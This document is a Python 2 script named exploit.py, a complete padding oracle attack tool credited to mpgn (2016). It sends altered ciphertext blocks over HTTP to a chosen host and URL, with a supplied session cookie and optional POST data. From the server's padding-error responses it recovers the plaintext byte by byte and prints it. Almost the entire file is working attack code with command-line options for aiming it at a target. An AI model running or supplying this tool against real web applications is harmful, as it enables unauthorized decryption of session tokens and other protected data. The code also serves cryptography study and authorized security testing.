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exploit.py
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exploit.py
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#! /usr/bin/python
'''
Padding Oracle Attack implementation of this article https://not.burntout.org/blog/Padding_Oracle_Attack/
Check the readme for a full cryptographic explanation
Author: mpgn <martial.puygrenier@gmail.com>
Date: 2016
'''
import argparse
import httplib, urllib
import re
import binascii
import sys
import time
from binascii import unhexlify, hexlify
from itertools import cycle, izip
####################################
# CUSTOM YOUR RESPONSE ORACLE HERE #
####################################
''' the function you want change to adapte the result to your problem '''
def test_validity(response,error):
try:
value = int(error)
if int(response.status) == value:
return 1
except ValueError:
pass # it was a string, not an int.
# oracle repsonse with data in the DOM
data = response.read()
if data.find(error) == -1:
return 1
return 0
################################
# CUSTOM YOUR ORACLE HTTP HERE #
################################
def call_oracle(host,cookie,url,post,method,up_cipher):
if post:
params = urllib.urlencode({post})
else:
params = urllib.urlencode({})
headers = {"Content-type": "application/x-www-form-urlencoded","Accept": "text/plain", 'Cookie': cookie}
conn = httplib.HTTPConnection(host)
conn.request(method, url + up_cipher, params, headers)
response = conn.getresponse()
return conn, response
# the exploit don't need to touch this part
# split the cipher in len of size_block
def split_len(seq, length):
return [seq[i:i+length] for i in range(0, len(seq), length)]
''' create custom block for the byte we search'''
def block_search_byte(size_block, i, pos, l):
hex_char = hex(pos).split('0x')[1]
return "00"*(size_block-(i+1)) + ("0" if len(hex_char)%2 != 0 else '') + hex_char + ''.join(l)
''' create custom block for the padding'''
def block_padding(size_block, i):
l = []
for t in range(0,i+1):
l.append(("0" if len(hex(i+1).split('0x')[1])%2 != 0 else '') + (hex(i+1).split('0x')[1]))
return "00"*(size_block-(i+1)) + ''.join(l)
def hex_xor(s1,s2):
return hexlify(''.join(chr(ord(c1) ^ ord(c2)) for c1, c2 in zip(unhexlify(s1), cycle(unhexlify(s2)))))
def run(cipher,size_block,host,url,cookie,method,post,error):
cipher = cipher.upper()
found = False
valide_value = []
result = []
len_block = size_block*2
cipher_block = split_len(cipher, len_block)
if len(cipher_block) == 1:
print "[-] Abort there is only one block"
sys.exit()
#for each cipher_block
for block in reversed(range(1,len(cipher_block))):
if len(cipher_block[block]) != len_block:
print "[-] Abort length block doesn't match the size_block"
break
print "[+] Search value block : ", block, "\n"
#for each byte of the block
for i in range(0,size_block):
# test each byte max 255
for ct_pos in range(0,256):
# 1 xor 1 = 0 or valide padding need to be checked
if ct_pos != i+1 or (len(valide_value) > 0 and int(valide_value[-1],16) == ct_pos):
bk = block_search_byte(size_block, i, ct_pos, valide_value)
bp = cipher_block[block-1]
bc = block_padding(size_block, i)
tmp = hex_xor(bk,bp)
cb = hex_xor(tmp,bc).upper()
up_cipher = cb + cipher_block[block]
#time.sleep(0.5)
# we call the oracle, our god
connection, response = call_oracle(host,cookie,url,post,method,up_cipher)
if args.verbose == True:
exe = re.findall('..',cb)
discover = ('').join(exe[size_block-i:size_block])
current = ('').join(exe[size_block-i-1:size_block-i])
find_me = ('').join(exe[:-i-1])
sys.stdout.write("\r[+] Test [Byte %03i/256 - Block %d ]: \033[31m%s\033[33m%s\033[36m%s\033[0m" % (ct_pos, block, find_me, current, discover))
sys.stdout.flush()
if test_validity(response,error):
found = True
connection.close()
# data analyse and insert in rigth order
value = re.findall('..',bk)
valide_value.insert(0,value[size_block-(i+1)])
if args.verbose == True:
print ''
print "[+] HTTP ", response.status, response.reason
print "[+] Block M_Byte : %s"% bk
print "[+] Block C_{i-1}: %s"% bp
print "[+] Block Padding: %s"% bc
print ''
bytes_found = ''.join(valide_value)
if i == 0 and bytes_found.decode("hex") > hex(size_block) and block == len(cipher_block)-1:
print "[-] Error decryption failed the padding is > "+str(size_block)
sys.exit()
print '\033[36m' + '\033[1m' + "[+]" + '\033[0m' + " Found", i+1, "bytes :", bytes_found
print ''
break
if found == False:
# lets say padding is 01 for the last byte of the last block (the padding block)
if len(cipher_block)-1 == block and i == 0:
value = re.findall('..',bk)
valide_value.insert(0,"01")
if args.verbose == True:
print ''
print '[-] No padding found, but maybe the padding is length 01 :)'
print "[+] Block M_Byte : %s"% bk
print "[+] Block C_{i-1}: %s"% bp
print "[+] Block Padding: %s"% bc
print ''
bytes_found = ''.join(valide_value)
else:
print "\n[-] Error decryption failed"
result.insert(0, ''.join(valide_value))
hex_r = ''.join(result)
print "[+] Partial Decrypted value (HEX):", hex_r.upper()
padding = int(hex_r[len(hex_r)-2:len(hex_r)],16)
print "[+] Partial Decrypted value (ASCII):", hex_r[0:-(padding*2)].decode("hex")
sys.exit()
found = False
result.insert(0, ''.join(valide_value))
valide_value = []
print ''
hex_r = ''.join(result)
print "[+] Decrypted value (HEX):", hex_r.upper()
padding = int(hex_r[len(hex_r)-2:len(hex_r)],16)
print "[+] Decrypted value (ASCII):", hex_r[0:-(padding*2)].decode("hex")
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='Exploit of Padding Oracle Attack')
parser.add_argument('-c', "--cipher", required=True, help='cipher you want to decrypt')
parser.add_argument('-l', '--length_block_cipher', required=True, type=int, help='lenght of a block cipher: 8,16')
parser.add_argument("--host", required=True, help='url example: /page=')
parser.add_argument('-u', "--urltarget", required=True, help='url example: /page=')
parser.add_argument('--error', required=True, help='Error that oracle give us example: 404,500,200 OR in the dom example: "<h2>Padding Error<h2>"')
parser.add_argument('--cookie', help='Cookie example: PHPSESSID=9nnvje7p90b507shfmb94d7', default="")
parser.add_argument('--method', help='Type methode like POST GET default GET', default="GET")
parser.add_argument('--post', help="POST data example: 'user':'value', 'pass':'value'", default="")
parser.add_argument('-v', "--verbose", help='debug mode, you need a large screen', action="store_true")
args = parser.parse_args()
run(args.cipher, args.length_block_cipher, args.host, args.urltarget, args.cookie, args.method, args.post, args.error)